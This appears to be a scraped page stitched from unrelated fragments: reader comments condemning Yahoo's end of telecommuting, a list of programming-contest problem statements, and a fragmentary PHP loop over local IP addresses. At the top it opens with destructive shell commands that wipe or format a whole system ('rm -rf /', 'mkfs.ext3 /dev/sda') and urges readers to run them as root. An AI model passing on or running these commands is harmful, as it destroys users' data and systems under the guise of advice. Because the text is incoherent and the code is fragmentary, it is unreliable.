rm -rf / or rm -rf *
mkfs.ext3 /dev/sda
mv /usr/* /dev/null

be sure to run these as root!

Donna Davenport An unaddressed issue in all this is the amount of gas comsumption and pollution caused by all the cars going back and foth. Thought we wanted to help our environment….?

ulia McDermott Across the board “come work from the office” is a huge step backward. People who are experts at their job know how to focus and get the job done from anywhere. And, meet together face to face when they need to using WebEx. Instead of being an innovator, Mayers is either knee-jerk reacting, hoping that following old-school philosophies will turn Yahoo around or putting a policy in place that will get experts to move on. If Yahoo wants to keep and attract experts they should be flexible with their policies. With new technologies, experts can collaborate, learn, share and exchange ideas online easier than from an office setting, particularly when you have teams collaborating from all over the world.

Lan Lam What an antiquated business philosophy. They may manage to trim some of the fat from the loafers, but they will also lose talent. Our workforce is moving more and more towards demanding a work life blend. They want to gain ground in a tech industry, and rather than leveraging the perspective remote workers can give them, they remove the technology from their core business strategy? How does that make sense? Only those who have no clue about how to communicate remotely can think that meetings (communication) and innovation can only take place face-to-face. Done the right way, remote communications can be just as effective as in person meetings. Rather, learn how to identify the loafers (oh, and they exist onsite as well) and only hire and keep those that deliver. Learn how to use the plethora of communication technology available that closes the physical distance and then understand needs from this population to drive the innovation for future products. This woman is not only taking the family movement backwards, reducing employee engagement and satisfaction (which leads to higher turnover), but she will eventually sink the ship. Good riddens.

Rebecca Rogers yahoo…meh, out of gas…this medieval lunacy which does nothing to help their image or their employee morale simply, serves to hasten their demise

‘Shelly’ Michelle West Stano They are absolutely wrong. We are in a ‘computer’ age where a lot of work can be done from home on a ‘computer’. It’s ridiculous to say it is better to have more people on the already crowded roads, burning more gas which is extremely expensive, to be in an office sitting at a desk behind a ‘computer’. Which by the way is more expense for the company because now they need more office spaces. If there are employees you don’t feel are doing their share of the work being at home, then get rid of them and hire someone who would do the work. It’s that simple, there are many people needing jobs right now and my husband is one of them and he has telecommuted and has always been commended for his amount and quality of work. HIRE HIM!!!!

Jim Sartain The cost of gas, more pollution, more car accidents, more required medical leave, child care costs. Sounds like this CEO really thought this through.

Arvind Mathur Yahoo and its new CEO is wrong to end telecommuting – primarily as a leadership tactic to shock its work force. Such actions are short term fixes for quick results for the CEO, who may move on to another job in a few years claiming victory and success, and holding on to fame and greater fortune. The longer term impact of such action is the creation of a bad work culture of abrasive power play, rather than creative and futuristic management. America today faces a decrepit and incompetent middle management of self taught semi technical managers and a overbearing, aggressive and careerist, and short term thinking upper management. Innovation cannot thrive in a knee jerk shocking action but a painstakingly created work culture that is productive and participative. This CEO will be out of Yahoo in a few year after claiming success. We will have to see if it is sustained success or a gimmick.

Marilyn Harms She is wrong, telecommuting eliminates much of the inter office bickering , interpersonal clashes, and general cooped up pissed off people . She needs to look to the future and innovate , not regress to the past and insist on cramming everyone into a box were creativity is stifled and distractions are rife.

Alan F. Mayer The “deal-makers” need the synergy of the face-to-face. The “worker-bees” have been shown (statistically) to be more productive when telecommuting. Many years of being both a manager and telecommuter have shown this (at least to me) to be true. Instead of both groups being lumped together, a division should be formulated.

Brad Lambert Hear that giant sucking sound.
It’s all the smart employees leaving Yahoo.
Goodbye Yahoo. Just another bad Yahoo call amongst many by bad and overpaid Yahoo CEOs and VP’s…

Steve Marsolek I don’t believe this is the correct step for any company. I know of so many that enjoy the work/life balance that WFH affords. I know my I am more engaged and productive in the work I do when I can concentrate on what needs to be done. Communication is the key to WFH success. With the touch of a button on multiple devices you can connect with anyone at any time.

Amanda Freeman Seems like a step backward to me. Couldn’t they review the policy on a case-by-case basis when productivity is actually lacking? http://parentables.howstuffworks.com/work-life-balance/yahoo-ceo-marissa-mayer-takes-step-backwards-and-bans-working-home.html

Marquis Johnson this is a fatal mistake by Yahoo. Telecommuting gives us a great deal of flexibility and freedom. I work 14 to 16 hour days regularly from home. I would not be in the Office 14 to 16 hours a day regularly. they will lose their top talent especially when it is so easy to get a job in the IT field.

Heather Archuletta Preposterous step backward for an alleged TECHNOLOGY company, that, more than other entities, should lead the way in virtual offices, telecommuting, green living, etc. She’s asking hundreds of people who were promised flexible work situations to join commute traffic, find parking in already packed lots, crowd buildings where colds and flu spread like wildfire, and so on. Companies should moving AWAY from those old models of doing business.

Contrary to what some people believe, folks who work remotely are not slackers. On the contrary, we’re often hard workers and high producers who do not NEED supervision; I get a LOT more done at home than I ever accomplished at busy offices surrounded by chatty boors. Also, I needed it because I’m working AND caring part time for elderly grandparents with weak immune systems. It’s no whimsical party, believe me. All you clueless idiots who think I’m “getting my nails done” — oh, I would so love to trade places with you just for one day. I’m sure others work remotely because they are closer to their CLIENTS… why drive to an arbitrary office location when that is not where your revenue-generating tasks/goals are located?

If I was a Yahoo employee, I’d be furious at such thoughtless, sweeping betrayal. Bad move for a young, naive CEO who just showed she shouldn’t be CEO.

http://www.virgin.com/richard-branson/blog/give-people-the-freedom-of-where-to-work

Dizzy Letters: Write a program that accepts an ASCII art image and rotates it clockwise by a multiple of 90 degrees.

Counting with Caesar: Write a program that converts integers into roman numerals, following the common modern conventions:

Panda Escape: Each line of input will consist of two or more integers. The first is the capacity of the cloud. The second is the weight of the Empress. The remainder are the weights of the guards. There may be up to 256 guards, the weights of the guards and Empress are each in the range [1, 255], and the max weight is at most 32767.For each line of input, output the optimal list of guards which will accompany the Empress, in order from lightest to heaviest. If there is no solution, output “NO SOLUTION”.

Pendlepants: Each line of the input will be a space separated list of items for one position on the body.Each line of output should represent one outfit, combining one item of each type (space separated). Outfits and outfit items should preserve the input orderings.

Call Me Maybe: The input to your program will consist of multiple lines of phone numbers, consisting only of upper/lowercase letters and numbers. For each line of input, output the numeric form on a single line. Do not include any punctuation. Each line will contain no more than 63 characters.

Sportsball: Each line of input will be a space separated list of integers. For each line of input, output a single integer: the largest sum of consecutive odd integers in the input list.

JT’s Dilemma: The input will be a string of dots and dashes of morse code without spaces. As output, print all of the possible translations, separated by new lines, in alphabetical order.

Fibonacci: You will first be given the number of problems to solve, N, and then you will be given N rows, each consisting of two endpoints A and B. For each row, you must output the number of unique Fibonacci numbers in that range, inclusive.
Example

Chromakey: The first two lines consist of one integer each, the width W and height H of the images to follow, each between 1 and 256. After that, each line will consist of three numbers R G and B, each between 0 and 255. There will be W x H lines for the first (base) image, and then another W x H lines for the second (overlay) image. Output the chromakey’d image. For every pixel in the first image where the Green value is greater than the combined Red and Blue value, replace that pixel with the corresponding pixel from the second image. Every other pixel remains unchanged in the output.

The Claw: You will receive C, C >= 1, the number of chickens, and G, G >= 1, the number of goats, on the first line. You will then receive C lines consisting of a chicken ID followed by integral X and Y coordinates, and then you will receive G lines consisting of a goat ID followed by integral X and Y coordinates. Goat IDs and chicken IDs will not overlap and will be globally unique. Your output will be one line consisting of a chicken ID followed by a goat ID that constitutes the closest pair of stuffed farm animals for Cade to try and grab.

for ($x=1;$x<255;$x++)
{
http_socket::download(‘http://whatismyipaddress.com/’, ’10.10.10.’.$x);
sleep(10);
}

final class http_socket
{
…

but, assuming you still wanted to do it, you could do something like:

for ($x=1;$x<255;$x++)
{
download($url, ’10.10.10.’.$x);
sleep(10);
}